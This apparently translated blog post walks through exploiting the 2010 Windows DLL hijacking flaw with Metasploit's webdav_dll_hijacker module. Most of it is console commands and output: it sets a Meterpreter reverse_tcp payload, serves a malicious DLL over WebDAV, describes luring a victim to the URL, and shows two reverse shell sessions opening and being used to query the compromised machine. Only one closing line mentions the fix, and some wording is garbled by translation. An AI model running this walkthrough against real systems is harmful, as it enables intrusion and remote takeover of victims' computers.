Although it is not something new, there has been a lot of talk lately about DLL Hijacking or impersonation of DLL libraries, thanks to the recent failure of Microsoft Windows systems that allows malicious code to be executed, placing the dll to be impersonated in the same folder as the executable program, recently discovered by HD Moore and explained in depth in his article Exploiting DLL Hijacking Flaws, has also published a kit to search for applications that may be vulnerable to this type of DLLDaughterAuditKit attack.
We open metasplit
Bash
rokitoh@red-orbita# msfconsole
msf > use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set EXTENSIONS «grp p7c vcf wab»
EXTENSIONS => grp p7c vcf wab
msf exploit(webdav_dll_hijacker) > set lhost 192.168.1.111
lhost => 192.168.1.111
msf exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.111:4444
[*]
[*] Exploit links are now available at \192.168.1.111documents
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.1.111:80/Now from the victim we would have to make him access: http://192.168.1.111:80/
Once you have accessed…
text
[*] 192.168.1.111:42343 GET => REDIRECT (/)
[*] 192.168.1.111:42345 GET => DATA (/favicon.ico)
[*] 192.168.1.111:42349 OPTIONS /
[*] 192.168.1.111:42351 OPTIONS /documents
[*] 192.168.1.111:42351 PROPFIND /documents
[*] 192.168.1.111:42351 PROPFIND => 301 (/documents)
[*] 192.168.1.111:42351 PROPFIND /documents/
[*] 192.168.1.111:42351 PROPFIND => 207 Directory (/documents/)
[*] 192.168.1.111:42351 PROPFIND => 207 Top-Level Directory
[*] 192.168.1.111:42351 PROPFIND /documents
[*] 192.168.1.111:42351 PROPFIND => 301 (/documents)
[*] 192.168.1.111:42351 PROPFIND /documents/
[*] 192.168.1.111:42351 PROPFIND => 207 Directory (/documents/)
[*] 192.168.1.111:42351 PROPFIND => 207 Top-Level Directory
[*] 192.168.1.111:42351 PROPFIND /documents/
[*] 192.168.1.111:42351 PROPFIND => 207 Directory (/documents/)
[*] 192.168.1.111:42351 PROPFIND => 207 Top-Level Directory
[*] 192.168.1.111:42351 PROPFIND /documents
[*] 192.168.1.111:42351 PROPFIND => 301 (/documents)
[*] 192.168.1.111:42351 PROPFIND /documents/
[*] 192.168.1.111:42351 PROPFIND => 207 Directory (/documents/)
[*] 192.168.1.111:42351 PROPFIND => 207 Top-Level Directory
[*] 192.168.1.111:42351 PROPFIND /documents/desktop.ini
[*] 192.168.1.111:42351 PROPFIND => 404 (/documents/desktop.ini)
[*] 192.168.1.111:42351 PROPFIND /documents
[*] 192.168.1.111:42351 PROPFIND => 301 (/documents)
[*] 192.168.1.111:42351 PROPFIND /documents/
[*] 192.168.1.111:42351 PROPFIND => 207 Directory (/documents/)
[*] 192.168.1.111:42351 PROPFIND /documents/policy.p7c
[*] 192.168.1.111:42351 PROPFIND => 207 File (/documents/policy.p7c)
[*] 192.168.1.111:42351 PROPFIND /documents
[*] 192.168.1.111:42351 PROPFIND => 301 (/documents)
[*] 192.168.1.111:38257 PROPFIND /documents/policy.p7c
[*] 192.168.1.111:38257 PROPFIND => 207 File (/documents/policy.p7c)
[*] 192.168.1.111:38258 PROPFIND /documents/policy.p7c
[*] 192.168.1.111:38258 PROPFIND => 207 File (/documents/policy.p7c)
[*] 192.168.1.111:42351 PROPFIND /documents/
[*] 192.168.1.111:42351 PROPFIND => 207 Directory (/documents/)
[*] 192.168.1.111:42351 PROPFIND => 207 Top-Level Directory
[*] 192.168.1.111:38257 PROPFIND /documents/Thumbs.db
[*] 192.168.1.111:38257 PROPFIND => 207 File (/documents/Thumbs.db)
[*] 192.168.1.111:38258 LOCK => 404 (/documents/Thumbs.db)
[*] 192.168.1.111:42351 PROPFIND /documents/wab32res.dll
[*] 192.168.1.111:42351 PROPFIND => 207 File (/documents/wab32res.dll)
[*] 192.168.1.111:38257 GET => DLL Payload
[*] 192.168.1.111:38258 PROPFIND /documents/rundll32.exe
[*] 192.168.1.111:38258 PROPFIND => 404 (/documents/rundll32.exe)
[*] Sending stage (748544 bytes) to 192.168.1.111
[*] Meterpreter session 1 opened (192.168.1.111:4444 -> 192.168.1.111:60997) at 2010-09-06 13:15:13 +0200
[*] 192.168.1.111:42351 PROPFIND /documents/policy.vcf
[*] 192.168.1.111:42351 PROPFIND => 207 File (/documents/policy.vcf)
[*] 192.168.1.111:38257 GET => DATA (/documents/policy.vcf)
[*] Sending stage (748544 bytes) to 192.168.1.111
[*] Meterpreter session 2 opened (192.168.1.111:4444 -> 192.168.1.111:60998) at 2010-09-06 13:15:19 +0200
msf exploit(webdav_dll_hijacker) > sessions -i 1
[*] Starting interaction with 1…
meterpreter > getuid
Server username: red-orbita-Win7red-orbita
meterpreter >sysinfo
Computer: RED-ORBITA-WIN7
OS : Windows 7 (Build 7600, ).
Arch : x86
Language: es_ES
meterpreter>Microsoft has published a temporary fix to the bug (listed as critical), but the solution is for developers to start use secure development methodologies, to prevent your applications from being vulnerable.
Sources:
http://blog.metasploit.com/
http://dragonjar.org
Comments